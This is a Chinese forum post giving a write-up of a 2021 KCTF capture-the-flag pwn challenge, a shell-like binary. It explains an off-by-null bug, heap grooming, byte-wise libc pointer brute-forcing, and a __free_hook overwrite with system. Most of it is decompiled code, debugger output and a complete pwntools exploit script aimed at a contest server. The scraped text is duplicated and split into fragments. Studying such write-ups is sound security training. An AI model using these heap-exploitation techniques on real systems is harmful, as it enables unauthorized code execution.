-
-
[原创]2021KCTF秋季赛 ch6 窥伺者谁
-
发表于: 2021-11-30 09:28 13897
-
题目是一个类似像shell一样的程序:
其中所有用户输入都用到了sysbuf
这个buffer。
而仔细观察输入函数会发现,当长度正好等于max_length
时,输入不会被\x00截断。
在echo
函数中存在如下一处输入,最长能输入0x5000:
借助\x00可以不截断的bug,就能让每次使用sysbuf时都拥有至多0x5000的长度。
在func_mkdir
中存在如下一个bug:
如果此处的dir_name
长度大于0x20,虽然strncpy没有问题,但后面零截断时使用的offset为strlen(dir_name)
,能够让攻击者在buffer指定偏移处写一个0字节。
一开始想着去修改dir_name的lsb,然后leak一些指针,但在pwd,ls等函数中都存在check
函数,导致失败。
这里我的做法是通过堆排布,去修改其他file1的content指针的lsb,然后借助file1能够修改file2的content_length,之后修改file1的name指针到堆上的libc指针。
在echo
中存在这样一处逻辑:
攻击者可以无限次调用这段逻辑,通过回显判断一个文件名是否存在。
假设0x556d8e4b6e80处存在一个libc指针,我们可以先修改name的lsb为0x85,通过上述echo的逻辑爆破得到0x7f;再修改name的lsb为0x84,爆破得到0x7f19;由此往复得到完整指针。
最后修改content指针到libc的freehook改为system getshell。
完整exp:
void run()
{
size_t v0;
/
/
rax
size_t v1;
/
/
rax
write(
1
,
"\n"
,
1uLL
);
v0
=
strlen(username);
write(
1
, username, v0);
write(
1
,
"@"
,
1uLL
);
v1
=
strlen(hostname);
write(
1
, hostname, v1);
write(
1
,
":"
,
1uLL
);
pwd();
write(
1
,
"$ "
,
2uLL
);
if
( !(unsigned
int
)read_n(sysbuf,
0x20u
) )
error();
if
( !strcmp(sysbuf,
"pwd"
) )
{
pwd();
}
else
if
( !strcmp(sysbuf,
"ls"
) )
{
ls();
}
else
if
( !strcmp(sysbuf,
"mkdir"
) )
{
mkdir_handler();
}
else
if
( !strcmp(sysbuf,
"cd"
) )
{
cd();
}
else
if
( !strcmp(sysbuf,
"cat"
) )
{
cat();
}
else
if
( !strcmp(sysbuf,
"touch"
) )
{
touch();
}
else
{
if
( !strcmp(sysbuf,
"exit"
) )
error();
if
( !strcmp(sysbuf,
"rm"
) )
{
rm();
}
else
if
( !strcmp(sysbuf,
"echo"
) )
{
echo();
}
else
{
write(
1
,
"unknow command\n"
,
0xFuLL
);
}
}
}
void run()
{
size_t v0;
/
/
rax
size_t v1;
/
/
rax
write(
1
,
"\n"
,
1uLL
);
v0
=
strlen(username);
write(
1
, username, v0);
write(
1
,
"@"
,
1uLL
);
v1
=
strlen(hostname);
write(
1
, hostname, v1);
write(
1
,
":"
,
1uLL
);
pwd();
write(
1
,
"$ "
,
2uLL
);
if
( !(unsigned
int
)read_n(sysbuf,
0x20u
) )
error();
if
( !strcmp(sysbuf,
"pwd"
) )
{
pwd();
}
else
if
( !strcmp(sysbuf,
"ls"
) )
{
ls();
}
else
if
( !strcmp(sysbuf,
"mkdir"
) )
{
mkdir_handler();
}
else
if
( !strcmp(sysbuf,
"cd"
) )
{
cd();
}
else
if
( !strcmp(sysbuf,
"cat"
) )
{
cat();
}
else
if
( !strcmp(sysbuf,
"touch"
) )
{
touch();
}
else
{
if
( !strcmp(sysbuf,
"exit"
) )
error();
if
( !strcmp(sysbuf,
"rm"
) )
{
rm();
}
else
if
( !strcmp(sysbuf,
"echo"
) )
{
echo();
}
else
{
write(
1
,
"unknow command\n"
,
0xFuLL
);
}
}
}
__int64 __fastcall read_n(char
*
a1, unsigned
int
max_len)
{
unsigned
int
ans_size;
/
/
[rsp
+
14h
] [rbp
-
Ch]
unsigned
int
i;
/
/
[rsp
+
18h
] [rbp
-
8h
]
int
tmp_read_size;
/
/
[rsp
+
1Ch
] [rbp
-
4h
]
ans_size
=
0
;
for
( i
=
0
; i < max_len;
+
+
i )
{
tmp_read_size
=
read(
0
, &a1[i],
1uLL
);
ans_size
+
=
tmp_read_size;
if
( tmp_read_size !
=
1
|| a1[ans_size
-
1
]
=
=
'\n'
)
break
;
}
if
( !ans_size )
exit(
-
1
);
if
( a1[ans_size
-
1
]
=
=
'\n'
)
/
/
may
not
zero end
a1[
-
-
ans_size]
=
0
;
return
ans_size;
}
__int64 __fastcall read_n(char
*
a1, unsigned
int
max_len)
{
unsigned
int
ans_size;
/
/
[rsp
+
14h
] [rbp
-
Ch]
unsigned
int
i;
/
/
[rsp
+
18h
] [rbp
-
8h
]
int
tmp_read_size;
/
/
[rsp
+
1Ch
] [rbp
-
4h
]
ans_size
=
0
;
for
( i
=
0
; i < max_len;
+
+
i )
{
tmp_read_size
=
read(
0
, &a1[i],
1uLL
);
ans_size
+
=
tmp_read_size;
if
( tmp_read_size !
=
1
|| a1[ans_size
-
1
]
=
=
'\n'
)
break
;
}
if
( !ans_size )
exit(
-
1
);
if
( a1[ans_size
-
1
]
=
=
'\n'
)
/
/
may
not
zero end
a1[
-
-
ans_size]
=
0
;
return
ans_size;
}
write(
1
,
"arg> "
,
5uLL
);
buf_size
=
read_n(sysbuf,
0x5000u
);
/
/
set
sysbuf
if
( !buf_size )
error();
write(
1
,
"arg> "
,
5uLL
);
buf_size
=
read_n(sysbuf,
0x5000u
);
/
/
set
sysbuf
if
( !buf_size )
error();
strncpy(new_node
-
>dir_name, dir_name,
0x20uLL
);
v3
=
new_node
-
>dir_name;
v3[strlen(dir_name)]
=
0
;
/
/
VULN: overflow zero
strncpy(new_node
-
>dir_name, dir_name,
0x20uLL
);
v3
=
new_node
-
>dir_name;
v3[strlen(dir_name)]
=
0
;
/
/
VULN: overflow zero
node
=
get_node(buff);
if
( node && node
-
>is_file
=
=
1
)
write_to_file(node, sysbuf, buf_size);
else
write(
1
,
"invalid path\n"
,
0xDuLL
);
node
=
get_node(buff);
if
( node && node
-
>is_file
=
=
1
)
write_to_file(node, sysbuf, buf_size);
else
write(
1
,
"invalid path\n"
,
0xDuLL
);
pwndbg>
hex
0x556d8e4b6e80
8
+
0000
0x556d8e4b6e80
20
b1 e3
63
19
7f
00
00
pwndbg>
hex
0x556d8e4b6e80
+
5
8
+
0000
0x556d8e4b6e85
7f
00
00
20
b1 e3
63
19
pwndbg>
hex
0x556d8e4b6e80
+
4
8
+
0000
0x556d8e4b6e84
19
7f
00
00
20
b1 e3
63
pwndbg>
hex
0x556d8e4b6e80
8
+
0000
0x556d8e4b6e80
20
b1 e3
63
19
7f
00
00
pwndbg>
hex
0x556d8e4b6e80
+
5
8
+
0000
0x556d8e4b6e85
7f
00
00
20
b1 e3
63
19
pwndbg>
hex
0x556d8e4b6e80
+
4
8
+
0000
0x556d8e4b6e84
19
7f
00
00
20
b1 e3
63
#!/usr/bin/env python3
#coding=utf8
import
re
import
inspect
import
sys
import
os
import
subprocess as sp
from
pwn
import
*
context.log_level
=
'debug'
local
=
1
if
len
(sys.argv) >
1
:
local
=
0
if
local:
cn
=
process(
'./chall'
)
pass
else
:
cn
=
remote(
'101.35.172.231'
,
10000
)
pass
def
tobytes(x):
return
x.encode(
'latin1'
)
if
isinstance
(x,
str
)
else
x
def
sd(x):
return
cn.send(tobytes(x))
def
sl(x):
return
cn.sendline(tobytes(x))
def
sa(a, b):
return
cn.sendafter(tobytes(a), tobytes(b))
def
sla(a, b):
return
cn.sendlineafter(tobytes(a), tobytes(b))
def
rv(x
=
0x1000
):
return
cn.recv(x)
def
rl():
return
cn.recvline()
def
ru(x):
return
cn.recvuntil(tobytes(x))
def
raddr():
return
u64(cn.recvuntil(b
'\n'
)[:
-
1
].ljust(
8
, b
'\x00'
))
def
raddrn(x):
return
u64(rv(x).ljust(
8
, b
'\x00'
))
def
interact():
return
cn.interactive()
def
ss(s):
return
success(s)
def
logsym(val):
for
line
in
inspect.getframeinfo(inspect.currentframe().f_back)[
3
]:
m
=
re.search(r
'\blogsym\s*\(\s*([A-Za-z_][A-Za-z0-9_]*)\s*\)'
, line)
if
m:
varname
=
m.group(
1
)
ss(f
"{varname} => {hex(val)}"
)
else
:
ss(
hex
(val))
############################################
context.arch
=
'amd64'
def
touch(filename):
sla(
'$'
,
'touch'
)
sla(
'>'
,filename)
def
evil_touch(filename):
sla(
'$'
,
'touch'
)
sa(
'>'
,filename)
def
echo_to_file(filename,content):
sla(
'$'
,
'echo'
)
sla(
'>'
,content)
sla(
'>'
,
'y'
)
sla(
'>'
,filename)
def
echo(content):
sla(
'$'
,
'echo'
)
sla(
'>'
,content)
sla(
'>'
,
'n'
)
def
mkdir(dirname):
sla(
'$'
,
'mkdir'
)
sla(
'>'
,dirname)
def
rm(filename):
sla(
'$'
,
'rm'
)
sla(
'>'
,filename)
def
cd(path):
sla(
'$'
,
'cd'
)
sla(
'>'
,path)
def
ls(path):
sla(
'$'
,
'ls'
)
sla(
'>'
,path)
cd(
'tmp'
)
# dir 0
mkdir(f
'd_0'
)
cd(f
'd_0'
)
touch(f
"f_0"
)
echo_to_file(f
"f_0"
,
'A'
*
0x20
)
touch(f
"f_1"
)
echo_to_file(f
"f_1"
,
'B'
*
0x40
)
cd(
'..'
)
# dir 1
mkdir(f
'd_1'
)
cd(f
'd_1'
)
for
i
in
range
(
0x10
):
touch(f
"ff_{i}"
)
echo_to_file(f
"ff_{i}"
,
'C'
*
0x10
)
cd(
'..'
)
# out of tmp
cd(
'..'
)
echo_to_file(f
"tmp/d_0/f_1"
,
'\x00'
*
0x480
)
echo_to_file(f
"tmp/d_0/f_0"
,
'A'
*
0x40
)
echo(
'X'
*
0xc8
)
# evil offset, edit tmp/d_0/f_1->content lsb
cd(
'tmp/d_0'
)
evil_touch(
'X'
*
0x20
)
# trigger bof
cd(
'../..'
)
# edit tmp/d_1/ff_15 content size to 0xffffffff
echo_to_file(f
"tmp/d_0/f_1"
,p64(
0xffffffff
))
padding
=
flat(
'X'
*
0x10
,
0
,
0x491
,
'Q'
*
0x480
,
0
,
0xb1
,
'\x00'
*
0xa0
,
)
touch(
'NNNN'
)
echo_to_file(f
"NNNN"
,
'\x00'
*
0x640
)
touch(
'MMMM'
)
# before top-thunk
echo_to_file(f
"NNNN"
,
'\x00'
*
0x700
)
def
crack_libc_ptr():
def
crack_byte():
for
ch
in
reversed
(
range
(
0x100
)):
if
ch
=
=
10
:
continue
pay
=
flat(
p8(ch)
+
ans[::
-
1
]
)
echo_to_file(pay,
'Q'
)
d
=
ru(
'ch3cke'
)
if
b
'invalid'
not
in
d:
return
ch
raise
Exception(
"crack byte failed"
)
length
=
5
ans
=
bytearray([
0x7f
])
for
i
in
reversed
(
range
(
1
,length)):
pay
=
flat(
padding,
0
,
0xb1
,
p64(
1
),
'\x00'
*
0x88
,
p8(
0x80
+
i),
)
echo_to_file(f
"tmp/d_1/ff_15"
,pay)
ch
=
crack_byte()
ans.append(ch)
ans.append(
0x20
)
# lsb
return
u64(ans[::
-
1
].ljust(
8
,b
'\x00'
))
libc_ptr
=
crack_libc_ptr()
logsym(libc_ptr)
lbase
=
libc_ptr
-
0x3ec120
logsym(lbase)
sh
=
lbase
+
0x1b3e9f
freehook
=
lbase
+
0x3ed8e8
system
=
lbase
+
0x4f440
# edit freehook to system
pay
=
flat(
padding,
0
,
0xb1
,
p64(
1
),
'\x00'
*
0x88
,
p64(sh),
p64(freehook)
)
echo_to_file(f
"tmp/d_1/ff_15"
,pay)
echo_to_file(
'sh'
,p64(system))
# call freehook("/bin/sh")
echo_to_file(f
"tmp/d_1/ff_15"
,
"/bin/sh\x00"
)
rm(f
"tmp/d_1/ff_15"
)
interact()
#!/usr/bin/env python3
#coding=utf8
import
re
import
inspect
import
sys
import
os
import
subprocess as sp
from
pwn
import
*
context.log_level
=
'debug'
local
=
1
if
len
(sys.argv) >
1
:
local
=
0
if
local:
cn
=
process(
'./chall'
)
pass
else
:
cn
=
remote(
'101.35.172.231'
,
10000
)
pass
def
tobytes(x):
return
x.encode(
'latin1'
)
if
isinstance
(x,
str
)
else
x
def
sd(x):
return
cn.send(tobytes(x))
def
sl(x):
return
cn.sendline(tobytes(x))
def
sa(a, b):
return
cn.sendafter(tobytes(a), tobytes(b))
def
sla(a, b):
return
cn.sendlineafter(tobytes(a), tobytes(b))
def
rv(x
=
0x1000
):
return
cn.recv(x)
def
rl():
return
cn.recvline()
def
ru(x):
return
cn.recvuntil(tobytes(x))
def
raddr():
return
u64(cn.recvuntil(b
'\n'
)[:
-
1
].ljust(
8
, b
'\x00'
))
def
raddrn(x):
return
u64(rv(x).ljust(
8
, b
'\x00'
))
def
interact():
return
cn.interactive()
def
ss(s):
return
success(s)
def
logsym(val):
for
line
in
inspect.getframeinfo(inspect.currentframe().f_back)[
3
]:
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2021-11-30 09:30
被hxzene编辑
,原因:
赞赏记录
参与人
雪币
留言
时间
飘零丶
感谢你的贡献,论坛因你而更加精彩!
2024-11-13 04:35
伟叔叔
为你点赞~
2023-3-18 05:08
一笑人间万事
为你点赞~
2022-7-27 23:59
赞赏
看原图
赞赏
雪币:
留言: